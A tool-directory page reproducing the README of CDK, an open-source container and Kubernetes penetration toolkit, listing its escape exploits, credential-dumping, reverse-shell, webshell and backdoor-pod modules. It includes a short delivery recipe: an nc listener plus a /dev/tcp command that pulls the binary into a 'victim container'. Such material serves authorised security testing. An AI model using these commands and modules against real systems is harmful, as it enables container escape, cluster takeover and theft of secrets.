Baike.dev
All toolsOnline toolsAI codingTrendingOpen sourceNewsSubmit
Log in
< Back to tools
C

CDK

> DevOps
Open source

Make security testing of K8s, Docker, and Containerd easier.

4.7K stars0 likes1 views
WebsiteGitHub

About

Make security testing of K8s, Docker, and Containerd easier.

CDK - Zero Dependency Container Penetration Toolkit

English | 简体中文

Legal Disclaimer

Usage of CDK for attacking targets without prior mutual consent is illegal. CDK is for security testing purposes only.

Overview

CDK is an open-sourced container penetration toolkit, designed for offering stable exploitation in different slimmed containers without any OS dependency. It comes with useful net-tools and many powerful PoCs/EXPs and helps you to escape container and take over K8s cluster easily.

Quick Start

Run cdk eva to get evaluate info and a recommend exploit, then run cdk run to start the attack.

…

Installation/Delivery

Download latest release in https://github.com/cdk-team/CDK/releases/

Drop executable files into the target container and start testing.

TIPS: Deliver CDK into target container in real-world penetration testing

If you have an exploit that can upload a file, then you can upload CDK binary directly.

If you have a RCE exploit, but the target container has no curl or wget, you can use the following method to deliver CDK:

  1. First, host CDK binary on your host with public IP.
(on your host)
nc -lvp 999 < cdk
  1. Inside the victim container execute
bash
cat < /dev/tcp/(your_public_host_ip)/(port) > cdk
chmod a+x cdk

Usage

…

Features

CDK has three modules:

  1. Evaluate: gather information inside container to find potential weakness.
  2. Exploit: for container escaping, persistance and lateral movement
  3. Tool: network-tools and APIs for TCP/HTTP requests, tunnels and K8s cluster management.

Evaluate Module

Usage

cdk evaluate [--full]
Tactics Script Supported Usage/Example
Information Gathering OS Basic Info ✔ link
Information Gathering Available Capabilities ✔ link
Information Gathering Available Linux Commands ✔ link
Information Gathering Mounts ✔ link
Information Gathering Net Namespace ✔ link
Information Gathering Sensitive ENV ✔ link
Information Gathering Sensitive Process ✔ link
Information Gathering Sensitive Local Files ✔ link
Information Gathering Kube-proxy Route Localnet(CVE-2020-8558) ✔ link
Information Gathering DNS-Based Service Discovery ✔ link
Discovery K8s Api-server Info ✔ link
Discovery K8s Service-account Info ✔ link
Discovery Cloud Provider Metadata API ✔ link

Exploit Module

List all available exploits:

cdk run --list

Run targeted exploit:

cdk run <script-name> [options]
Tactic Technique CDK Exploit Name Supported In Thin Doc
Escaping docker-runc CVE-2019-5736 runc-pwn ✔ ✔
Escaping containerd-shim CVE-2020-15257 shim-pwn ✔ link
Escaping docker.sock PoC (DIND attack) docker-sock-check ✔ ✔ link
Escaping docker.sock RCE docker-sock-pwn ✔ ✔ link
Escaping Docker API(2375) RCE docker-api-pwn ✔ ✔ link
Escaping Device Mount Escaping mount-disk ✔ ✔ link
Escaping LXCFS Escaping lxcfs-rw ✔ ✔ link
Escaping Cgroups Escaping mount-cgroup ✔ ✔ link
Escaping Abuse Unprivileged User Namespace Escaping CVE-2022-0492 abuse-unpriv-userns ✔ ✔ link
Escaping Procfs Escaping mount-procfs ✔ ✔ link
Escaping Ptrace Escaping PoC check-ptrace ✔ ✔ link
Escaping Rewrite Cgroup(devices.allow) rewrite-cgroup-devices ✔ ✔ link
Escaping Read arbitrary file from host system (CAP_DAC_READ_SEARCH) cap-dac-read-search ✔ ✔ link
Discovery K8s Component Probe service-probe ✔ ✔ link
Discovery Dump Istio Sidecar Meta istio-check ✔ ✔ link
Discovery Dump K8s Pod Security Policies k8s-psp-dump ✔ link
Remote Control Reverse Shell reverse-shell ✔ ✔ link
Remote Control Kubelet Exec kubelet-exec ✔ ✔
Credential Access Registry BruteForce registry-brute ✔ ✔ link
Credential Access Access Key Scanning ak-leakage ✔ ✔ link
Credential Access Etcd Get K8s Token etcd-get-k8s-token ✔ ✔
Credential Access Dump K8s Secrets k8s-secret-dump ✔ ✔ link
Credential Access Dump K8s Config k8s-configmap-dump ✔ ✔ link
Privilege Escalation K8s RBAC Bypass k8s-get-sa-token ✔ ✔ link
Privilege Escalation CVE-2026-31431 copy-fail (non-root→root & x86_64 only) copy-fail-cve-2026-31431 ✔ link
Persistence Deploy WebShell webshell-deploy ✔ ✔ link
Persistence Deploy Backdoor Pod k8s-backdoor-daemonset ✔ ✔ link
Persistence Deploy Shadow K8s api-server k8s-shadow-apiserver ✔ link
Persistence K8s MITM Attack (CVE-2020-8554) k8s-mitm-clusterip ✔ ✔ link
Persistence Deploy K8s CronJob k8s-cronjob ✔ ✔

Issues· 0 open

View all issuesOpen on GitHub

No open issues yet, or sync has not completed.

> Tags

Goblackhatcloud-nativecloud-native-securitycontainer

No comments yet. Be the first to share.

> Details

PublishedAug 1, 2026
UpdatedSep 17, 2026
CategoryDevOps
PricingOpen source

> Related tools

D
Docker
容器化平台,标准化应用交付
G
GitHub Actions
GitHub 原生 CI/CD 工作流
N
Nginx
高性能 Web 服务器与反向代理